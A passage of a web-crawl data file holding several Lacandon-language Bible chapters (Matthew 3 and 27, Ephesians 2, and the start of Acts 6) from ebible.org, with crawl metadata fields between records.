a tsoyo' cu bin yacsac ich ca'anan.\nAcsa'b ja' tu jo'r Jesús ten Juan\n(Mr. 1.9‑11; Lc. 3.21‑22)\n13 Ra' u q'uinino', caj tarij Jesús ich Juan. Tar u tar ich u ru'umin Galilea. A Juano' ti' yʌn. Juan nʌts'a'an ich ya'arir Jordán. Tarij ich Juan ca' acsac ja' tu jo'r ten Juan.\n14 Chen Juan mʌ' ju c'at yacsic ja' tu jo'r. Caj ya'araj Juan:\n―A teno', ca yʌn acsic ja' tin jo'r ―quij Juan―. A techo', mʌ' tarech quir in wacsic ja' ta jo'ri'.\nA Juan u c'at u yiric u c'axic u tucur Jesús rajen caj u ya'araj Juan ti' Jesús.\n15 Caj u nuncaj Jesús caj ara'b ti' Juan:\n―Tsire'ej baje'rer. Mʌ' ja wa'aric. Acsej ja' tin jo'r. Ca' ic betej tu cotor a ba' tsoy tu t'ʌn C'uj.\nRajen Juan caj u yacsaj ja' tu jo'r Jesús.\n16 Caj ts'oc u yacsic ja' tu jo'r Jesús ten Juan caj joq'uij Jesús ich chi' ja', caj yiraj u buj ca'anan. Seb caj yiraj Jesús u Taj'or u Pixam C'uj. Caj emij ti' ca'anan. Caj irir ten Jesús caj emij u Taj'or u Pixam C'uj oc yicnʌn Jesús. Irej susuy.\n17 Caj yubob tar u tar u t'ʌn ca'anan. Caj ya'araj C'uj:\n―A techo' ―quij―, a jach in pararech, in jach yajech. A techo' caj a qui'quintaj in wor.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT3.html","date":"2022-06-26T17:50:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00199.warc.gz","language":"lac","language_score":0.9999947548,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999947547912598}","num_words":887,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"27\nJesús caj c'ub ti' Pilato\n(Mr. 15.1; Lc. 23.1‑2; Jn. 18.28‑32)\n1 Caj sasij. Tu cotor u jach ts'urirob sacerdote yejer u jach ts'urirob u cajar u winiquirob judío a cu ya'aric a Nuxibo', caj u tucrob bic tabar cu bin u quinsic Jesús.\n2 Caj c'ax u c'ʌb Jesús caj tar purbir ich Poncio Pilato raji' gobernador.\nCaj quim Judas\n3 Judas caj yiraj bin u ca' quinsbir Jesús, yer raji' caj u c'ubaj, caj u tucraj ich yor: \"Jach c'asen.\" Caj bin u wʌc'ʌs sutbir u taq'uin, treinta sʌc taq'uin. Caj u ts'aj ti' u jach ts'urirob sacerdote yejer u ts'urirob u cajar u winiquirob judío a cu ya'aric a Nuxibo'.\n4 Judas caj ya'araj ti'ob:\n―A teno', yʌn in si'pir ―quij―. Mʌ' ja wirej, caj in c'ubaj Jesús ca' quinsac, cax mʌna' ba' caj u betaj.\nCaj u nuncajob u rac'ob:\n―Ba'wir to'on ca' ic tucrej, quire' ra' a beyaj tech.\n5 Caj u pich'intaj taq'uin Judas ich carem naj ʌcʌtan ti'ob. Caj bin Judas caj u jich' u c'o'och.\n6 U jach ts'urir sacerdote caj u ch'ich'a'b u taq'uin. Caj ya'arajob:\n―Mʌ' tsoy ic but'ic a je' taq'uina' ich u copre taq'uin carem naj, quire' ra' u bo'orir u quinsa'.\n7 Seb caj u tucrajob u mʌnicob u ru'umin quir u muquic u baquer a mac quimin, a nach u tar. Raji' u cay taq'uin Judas uch. Caj bin u mʌnej u ru'umin u c'aba' u ru'umin, Tu Cu Pʌtic Pac.\n8 Ra' u q'uinino', caj u c'axob u c'aba' u ru'umin. Caj u pʌchaj u c'aba', U Ru'umin U Q'uiq'uer. Quire' u cay taq'uin Judas tu mʌnob u ru'umin.\n9 A baywo', caj nu'psaj u t'ʌn Jeremías yʌjtseq'uir u t'ʌn C'uj. Caj ya'araj uch: \"U winiquirob israel, caj u toc araj baxuc cu bin u bo'otic quir u c'ubur ti', treinta sʌc taq'uin\n10 cu bin u bo'otej. Yejer u sʌc taq'uin caj u mʌnob u ru'umin a mac cu pʌtic pac. An ten bic caj u toc araj Jaj Ts'ur uch.\"\nJesús ʌcʌtan ti' gobernador Pilato\n(Mr. 15.2‑5; Lc. 23.3‑5; Jn. 18.33‑38)\n11 Jesús caj bin ch'ictar ʌcʌtan gobernador. Caj c'ata'b ti':\n―Taj wa u reyech u winiquirob judío?\nJesús caj u nuncaj:\n―Baxuc ca wa'ariquen, a teno', u reyen u winiquirob judío?\n12 U jach ts'urir sacerdote yejer u jach ts'urirob u cajar u winiquirob judío a cu ya'aric a Nuxibo', caj tocob u jo'r Jesús, chen mʌ' u c'ʌs nunquic.\n13 Pilato caj ya'araj ti' Jesús:\n―Biquinin mʌ' a c'ʌs nunquic u ta'quicob a jo'r?\n14 Jesús mʌ' ju c'ʌs nuncaj chichin. Rajen jach jaq'uij yor gobernador.\nPilato caj u tucraj tu yor ca' xic sinbir Jesús ich cruz\n(Mr. 15.6‑20; Lc. 23.13‑25; Jn. 18.38―19.16)\n15 Toc beri' cu siptic mac tu maca'an ca' bin c'uchur tu q'uinin u qui'qui' janʌnob u winiquirob judío, u q'uinin caj u potmastaj yʌjmasir u t'ʌn C'uj uch. Gobernador cu bin u siptic a mac maca'an a cu c'ata' ti' ten u winiquirob judío.\n16 A ra' u q'uinino', ti' maca'an mac jach c'as. Ra' u c'aba' Barrabás.\n17 Ra' u q'uinin ti' much'a'anob a pimob u winiquirob judío ich Pilato. Pilato yer q'uex yorob u jach ts'urirob sacerdote. Rajen caj u ta'quob u jo'r Jesús. Caj u c'ataj ti' a pimo':\n―A mac a c'at in siptic techex. Arex ten wa Barrabás wa Jesús a ca wa'ariquex Cristo?\n18 Ti' toy yʌn Pilato tu cu ta'quicob u jo'r Jesús u ts'urirob sacerdote. Caj tuchi'ta'b ten u rac' Pilato ti' u mam. Caj ya'araj ti':\n19 ―A ray xibo' mʌ' tsoy a sinic ich cruz quire' mʌna' u si'pir. Baxuc caj in wʌyʌc'taj ac'bir caj u jac'saj in wor. Rajen wa ca sinic jach yaj cu bin u tar to'on.\n20 Chen u jach ts'urirob sacerdote yejer u jach ts'urirob u cajar u winiquirob judío a cu ya'aric a Nuxibo', cu cay c'aticob ti' u rac'ob:\n―Biquinin mʌ' a c'atex ti' Pilato ca' u sinej Jesús ich cruz ca' siptac a Barrabáso'?\nRajen u rac'ob caj u quibajob u t'ʌn u jach ts'urirob yejer u jach ts'urirob u cajar u winiquirob judío a cu ya'aric a Nuxibo' soc u sinic ich cruz Jesús. Chen cu sipta' Barrabás ten Pilato.\n21 Pilato caj u wʌc'ʌs c'ataj ti' a pimo':\n―Mac a c'at in siptic techex.\nCaj u rʌc nuncajob, caj ya'araj:\n―Siptej Barrabás.\n22 Pilato caj u c'ataj:\n―Bic in bin in betic ti' Jesús a ca wa'ariquex Cristo?\nCaj u rʌc nuncajob ti':\n―Arej ti' ca' xic sinbir ich cruz.\n23 Pilato caj ya'araj:\n―Biquinin cu bin sinbir ich cruz quire' mʌna' c'as caj u betaj?\nRobob a jach pimo' caj u purob yawʌt:\n―Arej ca' sinic ich cruz.\n24 Caj yiraj Pilato mʌ' ju c'uchur yor ti' a pimo' soc mʌ' u sinin Jesús ich cruz. Chen a pimo' cu jach c'amtar u t'ʌn. Rajen caj u tuchi'taj mac ca' tac purbir ja' quir u p'o'ic u c'ʌb Pilato ʌcʌtan pim soc yiricob mʌna' u si'pir Pilato. Pilato caj ya'araj ti'ob:\n―A je' xiba' mʌna' u si'pir. Rajen mʌ' in c'at u quimin. Chen quin betic a ba' a c'atex ten.\n25 Tu cotor a pimo' caj u rʌc nuncaj:\n―Arej ca' sinic ich cruz. Tenob in si'pirob ca' xic sinbir Jesús. Baxuc yʌn u si'pir in ti'arob.\n26 Pilato caj u siptaj Barrabás ca' xic. Caj ya'araj ti' soldado ca' jats'ʌc u pach Jesús. Ca' bin ts'ocac u jats'ʌr cu bin sinbir ich cruz.\n27 U soldado gobernador caj acsa'b Jesús ich palacio gobernador. Caj u rʌc much'quintajob u bʌj u yet soldadojirob ich ʌcʌtan Jesús.\n28 Caj pit u noc' Jesús ten soldado. Caj ts'a'b u buquintej chʌc noc' Jesús.\n29 Caj u jit'ob a q'uixer u ca' quir u ts'a'b u p'oquintej Jesús q'ui'ix. Caj u chucajob oj caj ts'a'b u mʌchej tu noj Jesús. Caj xonrʌjob ʌcʌtan ich Jesús ʌcʌtan ich Jesús quir u che'tic Jesús. Caj ya'arob:\n―Ca' cuxraquech munt q'uin, quire' u reyech u winiquirob judío.\n30 Caj tuba'b Jesús caj u chucaj che' a' ju mʌchmʌn Jesús quir u jats'ʌr u jo'r Jesús.\n31 Caj ts'oc u p'astar Jesús ten soldado. Caj pit u chʌc noc' ca' wʌc'ʌs ts'a'b u buquintej u noq'uirir Jesús. Caj pay ca' xic bʌjbir ich cruz Jesús.\nCaj sinij ich cruz Jesús\n(Mr. 15.21‑32; Lc. 23.26‑43; Jn. 19.17‑27)\n32 Caj binob Jesús ich bej, caj u nup'ajob xib ti' u tar ich u cajar Cirene. Ra' u c'aba' Simón. Caj ts'ar u pach ca' c'ochac u cruz Jesús tu cu bin bʌjbir.\n33 Caj c'uchob tu chan witsir u c'aba' Gólgota. U c'at ya'aric u witsir u baquer u jo'r, quire' bajen u baquer u jo'r.\n34 Ti' ts'a'b yuq'uej Jesús u c'ab uva xaca'an u c'aj bʌc'. Jesús caj u cay tumtaj, chen mʌ' tu yuc'aj.\n35 Caj ts'oc u bajʌr Jesús ten soldado. Caj u chictajob chan tunich quir yiric mac cu bin ch'ic u noc' Jesús. A baywo' caj u chictajob chan tunich quir u nup' u t'ʌn yʌjtseq'uir u t'ʌn C'uj tu cu ya'aric:\n―Raji'ob cu bin chicticob chan tunich quir yiric mac cu bin u ch'ic in noc'.\n36 Caj ts'oc u ch'abʌr u noc' Jesús ti' toy curucbarob cʌnʌbir Jesús.\n37 Ts'ibta'b ich u xur u jo'r u cruz Jesús quir yirir ba' u si'pir. Tu ts'ibtaj: \"A je' xiba' Jesús, u rey u winiquirob judío.\"\n38 Bayiri' xan, a cu ya'cricob ba' ca'tur caj baj ten soldado. Turiri' tu noj Jesús. Turiri' tu ts'ic xan, Jesús.\n39 Quet yejer a cu manob ich Jesús tu bʌja'an. Cu chicticob u jo'r quire' cu p'asticob Jesús. Caj u che'jtajob.\n40 Caj ya'arajob ti' Jesús tu bʌja'an:\n―A techo', ca wa'aric je' a jubsic carem naj ca wa'aric mʌna' u nup u q'uinin ts'oc a wʌc'ʌs ts'ʌpquintej u jer carem naj. Tac a bʌj ich cruz ca' wʌc'ʌs emaquech wa ju pararech C'uj.\n41 Ti yʌnob xan, cu p'asticob Jesús u jach ts'urirob sacerdote, bayiri' u yʌjcamsʌyʌjirob u t'ʌn Moisés, yejer u winiquirob judío a fariseojo', yejer u jach ts'urirob u cajar u winiquirob judío a cu ya'aric a Nuxibo'.\n42 Caj ya'arajob ich u rac'ob:\n―A ray xibo', chen u jer cu taquic. U bʌjiri' mʌ' c'ucha'an u muc' u wʌc'ʌs taquic u bʌj. Wa taj u rey u winiquirob Israel biquinin mʌ' ju yemʌn ich cruz ij quirej soc ij cacsic tij cor u t'ʌn.\n43 U bʌjiri' caj ya'araj: A teno' quin wacsic tin wor ti' C'uj. Ca' ij quirej wa C'uj cu tar u taquic wa cu yajquinta'r ten C'uj, quire' caj u ya'araj uch: \"U pararen C'uj.\"\n44 Bayiri' jujunturob u yʌja'crʌjyʌjirob ba' a bʌja'an ich cruz xan. Caj u p'astob Jesús.\nCaj quimij Jesús\n(Mr. 15.33‑41; Lc. 23.44‑49; Jn. 19.28‑30)\n45 A ray u q'uinino', caj toc rʌc ac'birchʌjij tu cotor u ru'umin. C'ac'chunq'uin caj ac'birchʌjij, hasta las tres caj sasichʌjij.\n46 A ray u q'uinino', a las tres, caj c'am awʌtnʌjij Jesús, caj ya'araj:\n―Elí, Elí, lama sabactani? ―u c'at ya'aric: In C'ujech, in C'ujech, biquinin caj a toc p'ʌtajen?\n47 A mac ti' yʌnob ich Jesús caj yubob yawʌt Jesús:\n―Ta wu'yex ba' caj u ya'araj a je' xiba'? Caj u t'ʌnaj Elías yʌjtseq'uir u t'ʌn C'uj.\n48 Turiri' caj u c'ʌnaj yac'ab quir u ch'ic a irej noc', chen irej tʌmʌn. Caj u t'ʌjaj ich u c'ab uva a pʌjo'. Caj u ric'che'taj quir u ts'abʌr yuq'uej Jesús.\n49 Chen u rac'ob a ti' yʌnob caj ya'araj:\n―Tsire'ej, ca' ij quirej wa ju tar Elías ensbir Jesús.\n50 A ray u q'uinino', caj wʌc'ʌs ca' awʌtnʌjij Jesús. Jach c'am caj awʌtnʌjij, caj quimij Jesús.\n51 U noc' a t'ina'an ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. A cu jʌsic junxot' naj tu cu bin u wa'quicob u q'uiq'uer yʌrʌc' soc u ruc'sic u si'pir mac. Ra' u noc', seb caj jat tu chumuquin. Caj u yʌnxchun u jatʌr ca'anan hasta c'uchij u jatʌr ich u xax u noc'. Baxuc xan, caj pecnʌj u ch'ic yum ru'um caj wac' u tunichir.\n52 Caj rʌc wac' tunich tu muca'an u baquer a quimen, a yacsmʌnob tu yorob. Ya'ab caj ric'sa'b quir u wʌc'ʌs ca' cuxtar.\n53 Caj ts'oc u riq'uir Jesús ti' quimen caj joc' a yacsmʌnob tu yorob tu muca'an, caj binob ich u cajar Jerusalén. Ra' u cajar C'uj. Ti' irir a cu wʌc'ʌs riq'uir a yacsmʌnob tu yorob. Ti' irir ten u rac'ob a jach pimo'.\n54 Yʌjt'ʌnir cien soldados yejer u winiquirob soldado romano a cu cʌnanticob Jaj Ts'ur. Caj jaq'uij yorob caj yubob u pec ru'um, yejer a ba' u ber ti' a quimenob. Caj ya'arajob:\n―A je' xiba' u jach parar C'uj.\n55 A ti taro', ti' yʌn xquic ya'ab, nanach ch'ica'anob. Tan yiricob Jesús. Ra' yet manob yejer Jesús, caj tarob tu pach Jesús, caj u p'ʌtaj u ru'umin Galilea. Robob caj u yamtajob Jesús.\n56 A tu yʌn a xquico', ti' yʌn María a cu tar ich u cajar Magdalena. Ti' yʌn u jer xquic u rac' Zebedeo. Raji' a ca'tur u parar.\nCaj but' u baquer Jesús ich u japnin tunich\n(Mr. 15.42‑47; Lc. 23.50‑56; Jn. 19.38‑42)\n57 Caj ac'birchʌjij caj tarij José. Ti' cu tar ich u cajar Arimatea. Raji' jach yʌn u taq'uin. Bayiri' caj u yacsaj tu yor u t'ʌn Jesús.\n58 Caj bin ich Pilato José quir u c'ata'r u baquer Jesús soc u but'ic u baquer. Pilato caj ya'araj ti' u winiquirob soldado ca' ts'a'bʌc ti' José u baquer Jesús.\n59 José caj bin ch'abir u baquer Jesús. Caj emsa'b ich cruz. Caj u tap'aj u baquer Jesús yejer carem sʌc noc'.\n60 A Joséjo' caj u but'aj u baquer Jesús tu japnin tunich, a ric'beno'. Mʌ' ja wirej, José caj u betaj ti' u bʌjiri' uch. Caj ts'oc u but'ur u baquer Jesús caj u pets'ta'r u jor tunich tu but' u baquer Jesús, caj binij.\n61 Ti' toy yʌn María, ti' cu tar ich u cajar Magdalena. U jer ti' yʌn juntur María ti' cura'an ʌcʌtan u jor tu but'a'an u baquer Jesús.\nU winiquirob soldado romano a cu cʌnanticob tu but'a'n u baquer Jesús\n62 Caj sasij ra' u q'uinin caj ts'oc u man viernes. Ra' u q'uinin quir u jesicob u bʌj u winiquirob judío. Caj c'uchij u jach ts'urirob sacerdote yejer u winiquirob judío a fariseojo', caj binob irbir Pilato.\n63 Caj c'uchob ich Pilato caj ya'arob ti':\n―Ic gobernadorech, ca' ij c'ʌ'otej a cu tusic mac. A cu ya'aric: \"A ca' bin ts'ocac u man mʌna' u nup u q'uinin je' in riq'uir ti' in quimirir.\"\n64 Rajen quic tar ij quirej tech, ca' a wa'arej ti' a winiquirob soldado romano, ca' u qui' cʌnantacob u baquer Jesús tu but'a'an. Soc mʌ' u tar ch'abir u baquer ten u camsʌwinicob ac'bir. Ca' bin u tus arob: \"Riq'uij tu quimirir.\" Aro' jach manan cu bin u tusaricob ti' mac, a tu yʌn tusarob mʌ' jach c'asi'.\n65 Pilato caj ya'araj ti'ob:\n―Tar yʌno' in winiquirob soldado romano. Pʌyex ca' xicob cʌnanbir u baquer soc robob cu bin u cʌnantejob an ten bic a c'at techex.\n66 Caj rʌc binob cʌnanbirob u baquer. Caj c'uchob caj u pʌc'ajob u jor soc mʌna' mac c'ucha'an yor u rʌquic u jor. Caj p'at u winiquirob soldado romano quir u cʌnaticob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT27.html","date":"2022-06-26T17:15:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00211.warc.gz","language":"lac","language_score":0.9999904633,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.9999904632568359}","num_words":2134,"character_repetition_ratio":0.078,"word_repetition_ratio":0.018,"special_characters_ratio":0.298,"stopwords_ratio":0.477,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nQuire' u jach tsoyir u pixam C'uj, rajen C'uj caj u yajquintajo'onex\n1 Mʌ' ja wirej, a C'ujo' caj u yirajechex jach manan c'as a pixamex, rajen caj u ts'aja techex a cuxtarex quire' Cristo.\n2 Mʌ' ja wirej, a techexo' uch, quij, ta chen sayʌrex tu pachob a rac'ob, cax tu cu binob uch. A techexo', caj a quibex a ba' u tar ta worex ti' u ts'urir a mac yʌnin ich yoc'ocab, raji' a quisino'. Mʌ' ja wirej, raji' rajra' tan u beyaj ich a mac a mʌ' yerob C'uj quir u manob tu c'asir.\n3 A ucho', baxuc ti' yʌno'onex ich ic rac'obex. Mʌ' ja wirej, a ba' tu pachtaj ic winquirirex raji' tic betajex uch. An ten bic tu cotorob ic rac'obex baxuc a to'onex xan, rajen ca' bin c'uchuc tu q'uinin je' u ts'a'bʌr u muc'yaj ten C'uj ca' bin muc'yajnʌco'onex.\n4 Chen a C'ujo' a jach yaj yirico'onex rajen u yajo'onex, caj u yirej otsiro'onex caj yajquinto'onex.\n5 Quire' ic si'pirex, a C'ujo' caj u yiraj to'onex iro'onex wa quimiro'onex. Rajen, quet caj u ts'ajex to'on ij cuxtarex quet yejer Cristo wa ber caj u ts'aja u cuxtar Cristo caj u ric'saj Cristo tu t'aja'an u baquer uch. Quire' u jach tsoyir u pixam rajen caj u yamtaj to'onex.\n6 A C'ujo' cu yiric to'onex an ten bic quet C'uj caj u ric'sajo'onex wa ber caj ric'sa'b Jesús, quet tan u ts'ic to'onex ij cuxtarex xan. Bayiri' xan, a C'ujo' cu yirico'onex an ten bic tu cuquintajo'onex a te' ca'anano' quet yejer Cristo.\n7 A baywo' caj u yesaj to'onex C'uj bic tabar u yajo'onex. Mʌ' ja wirej, u yajo'onex quire' Jesucristo. Jach manan u yajo'onex tu yesaj ti' tu cotor mac. Aro' munt q'uin cu bin esbir u yajo'onex C'uj.\n8 Mʌ' ja wirej, quire' u jach tsoyir u pixam C'uj, caj u tacajo'onex wa ber tij cacsex tij corex ti' Cristo. Mʌ' u tacbaro'onex C'uj cax a ba' tic betajex. Mʌ' ja wirej, tu tacaj to'onex quire' a ba' u bʌjiri' caj u betaj, tu chen sija to'onex.\n9 Mʌ' ja wirej, quij, mʌ' tu tacato'onex C'uj quire' ic beyajex, quire' je' ic manex tan ij cariquex bic tabar tu tacajo'onex C'uj soc a rac'obex cu bin u tucricob techex jach caremechex.\n10 Mʌ' ja wirej, a C'ujo' caj u betato'onex, rajen caj u sijto'onex u ric'ben cuxtar quire' Jesucristo. Rajen, c'ucha'an ij corex ic manex tan ic betiquex a tsoyo'. Mʌ' ja wirej, baxuc tu ch'ic chunin a C'ujo' caj u tucraj ca' manaco'onex tan ic betiquex a jach tsoy.\nQuire' Cristo rajen p'eri' ic tucurex baje'rer\n11 Yʌn c'aj techex, a ucho', quij, u winiquirob judío mʌ' tu yirajechex an ten bic u pararechex C'uj, quire' techex mʌ' ta c'ʌmex a ts'iriquex a bʌq'uerex an ten bic nanij u beticob u winiquirob judío a tu c'ʌmob uch.\n12 Mʌ' u yʌn tubur techex bic tabarechex uch, wa ber mʌ' toy a wacsex ta worex ti' Cristo. Quire' u tirir ti' u winiquirob israel, cu tucricob u winiquirob israel mʌ' jach nojechex ti' C'uj. Mʌ' ja wirej, caj u tus tucrajob u winiquirob judío wa chen u winiquirob israel chen raji'ob cu bin tacbir ten C'uj quire' robob u pararob u ch'ic nunquir, a mac u c'aba' Israel. Rajen mʌna' ta pajex u taquiquechex C'uj quire' mʌ' a werex C'uj uch. Mʌ' wa baxuco' techex uch?\n13 A techex ucho' mʌ' a werex C'uj, chen baje'rer a werex Cristo quire' a techex tu pʌyechex ich C'uj quire' u bʌjiri' Cristo tu c'ub u bʌj soc u quinsa'r.\n14 Rajen quire' Jesucristo p'eri' ic tucurex baje'rer, rajen mʌ' ic pacran ts'iquintic ic bʌjex. Quire' tu p'eri'quintajo'onex C'uj uch a ba' mʌ' u peri'quinmʌn C'uj, quire' u tirir ti' techex ti' u winiquirob israel uch. Rajen mʌ' ij quet pacran p'actic ic bʌjex quire' Cristo tu p'eriquinto'onex baje'rer.\n15 Mʌ' ja wirej, wa ber caj quinsa'b Jesús ich cruz caj u rʌc rucsaj a ba' tu ricsaj u t'ʌnin Moisés uch. A baywo' caj u betaj Cristo soc u p'eri'quintic a to'onexo' soc mʌ' ic tirir techex ti' a tenob u winiquirenob judío. Rajen queto'onex baje'rer, ric'ben winiquiro'onex quire' tu p'eriquintaj to'onex.\n16 Wa ber caj quimij ich cruz ti' to'onex. A baywo' caj u wʌc'ʌs pʌyajo'onex ich C'uj. Rajen jach p'eri'o'onex baje'rer, cax a tenob in tiriro' tenob uch ti' a techexo' uch. Rajen baje'rer ts'oc ic pacran p'actic ic bʌjex.\n17 Mʌ' ja wirej, caj tarij Cristo quir u tsicbar to'onex u jach tsoyir u t'ʌn C'uj soc queto'onex cu bin tacbiro'onex ten C'uj. Cax a techexo' mʌ' a werex C'uj uch, cax a tenob uch rajra' in werob C'uj.\n18 Cax a tenobo' yejerechexo' uch mʌ' queto'onex, baje'rer queto'onex wa ber quic tsicbarex ti' C'uj. Mʌ' ja wirej, chen p'eri' yʌn to'onex u Taj'or u Pixam C'uj a mac quic ts'urintiquex.\n19 Rajen mʌ' u tirir ti' techex ti' a tenob u winiquirenob judío. Ʌcʌtan tu wich C'uj ts'oc u yiric mʌ' u winiquirechex judío techex, quij. P'eri' ic ru'umex tu quic binex. P'eri' C'uj yʌnino'onex, quet bayiri'o'onex u pararo'onex C'uj baje'rer.\n20 Mʌ' ja wirej, cu ya'aric yiro'onex bajen yatocho'onex C'uj a ti' toy ts'ʌpquinta' baje'rer. Ca wiric u tunichiro' a pʌyber ts'ʌpquinta'b tu cu pa'tetic yatoch tu cu nupic u jer u pa'te', ra'iri' u tunichiro' jach manan no'j quire' raji' Jesucristo. A ray tunicho' a cu bin u ts'ʌpquintej ich yoc'or u jer tunich chan ber u bin chichtar u muc' a tu cu ts'ʌpquintic a tunicho'. A je' tunicha' a cu ts'ʌpquinta' ich yoc'or u jer, robob yʌjtseq'uirob u t'ʌn C'uj uch yejer a mac ts'a'b u tucurob ten Cristo quir u tsicbarob a ba' u c'at Cristo uch.\n21 Quire' chen Jesucristo baxuc chan chan ber cu ts'ʌpquintic yatoch. Mʌ' ja wirej, chan chan ber u jer mac cu yacsic tu yor cu bin ts'ʌpquinbir hasta ca' bin c'uchuc tu q'uinin jeroj cu waysic yatocho'onex tu cu bin c'ujinbir ic Jaj Ts'urirex.\n22 Mʌ' ja wirej, quire' a techexo' caj a wacsajex ta worex ti' ic Jaj Ts'urirex, rajen a techexo' tu cotorechex jun xot' techex a ray yatocho' xan. Rajen waysa'bo'onex iro'onex yatocho'onex C'uj quire' ti' yʌn tic pixamex u Taj'or u Pixam C'uj.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/EP2.html","date":"2022-07-01T23:51:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103947269.55\/warc\/CC-MAIN-20220701220150-20220702010150-00428.warc.gz","language":"lac","language_score":0.9999909401,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999909400939941}","num_words":1018,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.272,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nA siete yʌjyaminob u beyaj\n1 A ray u q'uinino', cu pimtarob a yacsmʌnob tu yorob u t'ʌn C'uj. Seb caj pimjijob a caj u yacsob tu yorob. Chen a mac a yacsmʌnob tu yorob u t'ʌn C'uj a ju t'ʌnob griego, cax u winiquirob judío, robob mʌ' quet yorob yejer u yet winiquirob judío a ju t'ʌnob hebreo. Rajen caj u ya'arob a mac u t'ʌnob griego ti' a mac a ju t'ʌnob hebreo:\n―Iric, mʌ' tsoy a jʌsiquex, quire' coy a jʌsiquex yo'och ti' a xquico' a quimenob u mame', a mac a cu t'ʌnob griego, quire' rajra' coy a jʌsiquex yo'och.\n2 Rajen a mac a teta'b ten Jesús quir u tsec'ta'r u t'ʌn, caj u t'ʌnajob u yet acsa'orirob quir u much'quinticob u bʌj ich a doce xib a teta'b ten Jesús quir u tsec'ta'r u t'ʌn. Robob caj u ya'arajob ti' u yet acsa'orirob:\n―Mʌ' tsoy in chen p'ʌticob in tsec'ticob u t'ʌn C'uj soc tsoy in jʌsicob a ba' u c'at a xquico' a quimenob u mame'.\n3 Rajen in wet acsa'orirex ca' ic tetejex ich ij quet acsa'orirex siete xib a mac tsoy ta t'ʌnex, a ra' cu ts'urinticob u Taj'or u Pixam C'uj, a ju jach erob ba'. A ray xibob, je' ic tetiquex soc robob cu jasʌrob a ba' u c'at ti' a xquico' a quimenob u mame'.\n4 Chen a tenob, a mac a teta'b ten C'uj quir in tsec'ticob u t'ʌn, chen rajra' quin tsec'ticob u t'ʌn C'uj quet rajra' quin t'ʌnicob C'uj quire' ra' in beyajob ―baxuc caj u ya'araj ij cʌjtuchiyʌjir Jesús.\n5 Caj qui'jij yorob a ju yet acsʌ'orirob caj ts'oc u yubicob a ba' ara'b ti'ob ten a xibo' a teta'b ten Jesús quir u tsec'ta'r u t'ʌn, rajen p'eri'ob caj u tetajob Esteban, quire' taj caj u yacsaj tu yor u t'ʌn Jesús, bayiri' xan, quire' u Taj'or u Pixam C'uj cu jach ts'urintic Esteban. Caj teta'b xan, Felipe. Caj teta'b Prócoro. Caj teta'b Nicanor. Caj teta'b Timón. Caj teta'b Parmenas. Caj teta'b Nicolás a ra' cu tar ich u cajar Antioquía. Mʌ' ja wirej, raji' a ucho', caj u c'ujintaj C'uj an ten bic u winiquirob judío, chen a baje'rero' caj u yacsaj tu yor u t'ʌn Jesús.\n6 Jeroj caj ts'oc u teticob a siete xibo', a cu bin u yamticob u beyaj a mac a teta'b ten Jesús quir u tsec'ta'r u t'ʌn, caj pʌyob ich ʌcʌtan a ray doce xibo'. Jeroj caj tsicbanjʌjob C'uj a mac a teta'b ten C'uj quir u tsec'ta'r u t'ʌn, u yʌjyaminob u beyaj. Caj ts'oc u t'ʌnicob C'uj caj u ts'anc'ʌbtajob ti'ob, a teta'anobe', quir u c'ʌmicob u beyajob a teta'ane'.\n7 A baywo', ya'ab mac caj u yʌnxchun u c'ʌmicob u t'ʌn C'uj. Mʌ' ja wirej, cu jach pimtarob a yacsmʌnob tu yorob ich u cajar Jerusalén. Cax ya'ab u sacerdote u winiquirob judío tu cu naj c'ujinticob C'uj u winiquirob judío caj u c'ʌmajob u t'ʌn C'uj, caj sayob tu pach Jesús.\nChuc Esteban\n8 Mʌ' ja wirej, a Estebano' quire' tan u yamta' ten C'uj, rajen jach chich u muc'. Jeroj tune', caj u yesaj ya'ab u carem beyajob, cax a ba' cu jac'sic yorob mac xan. Baxuc caj esa'b ten Esteban ti' u yet winiquirob judío soc yeticob ti' yʌn C'uj yejer Esteban.\n9 Chen a ray u q'uinino', ti' yʌn mac a cu tarob ti' u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. A ju chan najir tu cu naj c'ujinticob C'ujo', a rayo', pʌcha'an u c'aba' ten mac uch: \"A c'urewo'.\" Mʌ' ja wirej, ti' cu tarob u c'urewob mac a ucho', chen baje'rer toc cha'b u binob. Ich a ray xibo' tar u tarob ich u cajar Cirene. Ti' cu tarob ich u cajar Alejandría. Ti' cu tarob ich u cajar Cilicia. Bayiri' xan, ti' cu tarob jun yar ich u ru'umin Asia. Robob caj rʌc binob tu yʌn Esteban quir u nunca'rob u t'ʌn Esteban.\n10 Je' wa ju c'uchur yorob u nuncbir u t'ʌn Esteban ten a ray xibo'? Mʌ' c'ucha'an yorob u nunca'rob u t'ʌn Esteban, quire' u ne'er ba', quire' tan u yamta'r u nunca'r u t'ʌn Esteban ten u Taj'or u Pixam C'uj.\n11 Quire' caj u yirajob mʌ' c'ucha'an yorob ti' Esteban, a ray xibo' caj u mucu bo'tajob a cu nunca'rob u t'ʌn Estebane'. Caj 